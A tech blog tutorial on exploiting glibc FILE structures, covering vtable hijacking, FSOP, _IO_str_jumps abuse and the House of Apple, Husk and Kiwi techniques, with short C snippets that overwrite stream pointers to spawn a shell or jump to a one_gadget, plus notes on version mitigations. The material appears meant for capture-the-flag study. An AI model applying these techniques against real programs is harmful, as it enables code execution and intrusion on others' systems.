Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Exploiting FILE Structure in glibc for Arbitrary Code Execution

Tech 1

The FILE structure in glibc, specifically _IO_FILE_plus, is central to many advanced exploitation techniques. These structures are linked via a global pointer _IO_list_all, forming a singly-linked list that includes the standard streams: _IO_2_1_stdin_, _IO_2_1_stdout_, and _IO_2_1_stderr_. Each FILE object contaisn a vtable (_IO_jump_t) holding function pointers for I/O operations.

Key Exploitation Vectors

File Descriptor Manipulation

The _fileno field (offset 0x70 in stdin) holds the file descriptor. By overwriting this value (e.g., chagning stdin’s fd from 0 to 4), subsequent reads can be redirected to an arbitrary file descriptor, enabling direct flag reading if the target fd is known.

Vtable Hijacking

Prior to glibc 2.24, the absence of _IO_vtable_check allowed attackers to either:

  1. Overwrite individual function pointers within a legitimate vtable (if writable).
  2. Redirect the entire vtable pointer to attacker-controlled memory containing a fake vtable.

For example, overwriting the _IO_new_file_xsputn entry with system’s address and placing "sh\x00" at the start of the FILE structure allows fwrite to spawn a shell.

#include <stdio.h>
#include <stdlib.h>

typedef unsigned long long u64;

int main() {
    FILE *fp = fopen("./dummy.txt", "w");
    u64 *fake_vtable = malloc(0x40);
    fake_vtable[7] = (u64)system; // _IO_new_file_xsputn offset
    *(u64*)((char*)fp + 0xD8) = (u64)fake_vtable; // vtable pointer
    memcpy(fp, "sh\x00", 3); // Command in FILE struct
    fwrite("trigger", 1, 7, fp); // Invoke system("sh")
}

FSOP (File Stream Oriented Programming)

FSOP hijacks _IO_list_all to point to a forged _IO_FILE_plus structure. When exit() or abort() triggers _IO_flush_all_lockp, it iterates the list and calls _IO_OVERFLOW on each stream meeting:

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

This technique requires bypassing checks in _IO_flush_all_lockp and is effective only in glibc < 2.24 due to vtable validation.

// FSOP example for glibc 2.23
u64 libc_base = (u64)&puts - 0x6f5d0;
u64 *fake_file = malloc(0x200);
fake_file[24] = 0;           // _mode <= 0
fake_file[5]  = 1;           // _IO_write_ptr
fake_file[4]  = 0;           // _IO_write_base
fake_file[27] = (u64)&fake_file[32]; // vtable ptr
fake_file[35] = libc_base + 0x4525a; // _IO_overflow -> one_gadget
*(u64*)(libc_base + 0x3c4520) = (u64)fake_file; // _IO_list_all
exit(0);

Leveraging _IO_str_jumps

From glibc 2.24+, vtable pointers must reside in the __libc_IO_vtables section. The _IO_str_jumps structure (within this section) provides a valid target. Its _IO_str_finish function (pre-2.28) calls a function pointer stored at fp + 0xE8:

void _IO_str_finish(FILE *fp, int dummy) {
    if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        ((void(*)(void*))((char*)fp + 0xE8))(fp->_IO_buf_base);
}

By setting:

  • fp->_IO_buf_base = "/bin/sh"
  • *(u64*)(fp + 0xE8) = system
  • fp->vtable = &_IO_str_jumps - 0x8 (to trigger _IO_str_finish)

and invoking exit(), a shell is spawned.

House of Apple: Wide Data Exploitation

The _wide_data field points to a _IO_wide_data structure containing its own vtable (_wide_vtable). Unlike the primary vtable, _wide_vtable lacks validation in some function (e.g., _IO_WOVERFLOW). This allows chaining:

  1. Redirect primary vtable to _IO_wfile_jumps variants.
  2. Control _wide_data to point to attacker memory.
  3. Set _wide_vtable to a fake table with hijacked function pointers.

For instance, _IO_wfile_underflow calls _libio_codecvt_in, which invokes a function pointer from _codecvt->__cd_in.step->__fct, enabling RIP control.

House of Husk: Printf Function Table Attack

The __printf_function_table and __printf_arginfo_table store handlers for custom format specifiers. By corrupting these tables (e.g., via unsorted bin attack after enlarging global_max_fast), a format specifier like %X can trigger a one-gadget:

// After leaking libc and performing unsorted bin attack
*(u64*)(heap_chunk_for_arginfo + ('X'-2)*8) = libc_base + one_gadget;
free(chunk_overwriting_printf_tables);
printf("%X", 0); // Triggers one_gadget

House of Kiwi: Assert-Based Trigger

Triggering __malloc_assert (e.g., via invalid top chunk size) calls fflush(stderr), which invokes _IO_new_file_sync. If _IO_file_jumps is writable, overwriting its _IO_new_file_sync entry with a gadget yields code execution.

Mitigations and Version-Specific Notes

  • glibc ≥ 2.24: Enforces vtable pointer validation via _IO_vtable_check.
  • glibc ≥ 2.28: _IO_str_finish uses free instead of calling _free_buffer.
  • glibc ≥ 2.34: Removes malloc hooks; _IO_helper_jumps may become unwritable.
  • glibc ≥ 2.36: __malloc_assert bypasses stdio, using direct syscalls.

These techniques highlight the evolution of glibc hardening and the creativity required to bypass modern protections.

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.